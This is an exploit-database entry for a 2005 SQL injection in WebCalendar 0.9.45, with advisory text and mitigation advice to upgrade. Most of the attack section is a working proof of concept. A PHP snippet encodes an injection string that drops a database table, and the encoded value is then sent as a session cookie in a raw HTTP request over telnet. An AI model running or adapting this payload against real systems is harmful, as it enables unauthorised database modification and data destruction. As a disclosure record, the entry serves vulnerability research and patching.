header-logo
Suggest Exploit
vendor:
WebCalendar
by:
SecurityFocus
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: WebCalendar
Affected Version From: 0.9.45
Affected Version To: 0.9.45
Patch Exists: YES
Related CWE: N/A
CPE: webcalendar
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2005

WebCalendar SQL Injection Vulnerability

WebCalendar is affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. Attack payload is telnet example.com GET /login.php HTTP/1.1 Cookie: webcalendar_session=7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8

Mitigation:

Upgrade to WebCalendar 1.0RC1 or later.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/12581/info

WebCalendar is affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This vulnerability is reported to affect WebCalendar 0.9.45; earlier versions may also be affected.

The vendor has addressed this issue in WebCalendar 1.0RC1 and later. 

<?php
include_once 'includes/init.php';
echo encode_string("'; drop table foo; select 'a|zzabcdefg");
?>

output:
7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8

attack payload:
telnet example.com
GET /login.php HTTP/1.1
Cookie: webcalendar_session=7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8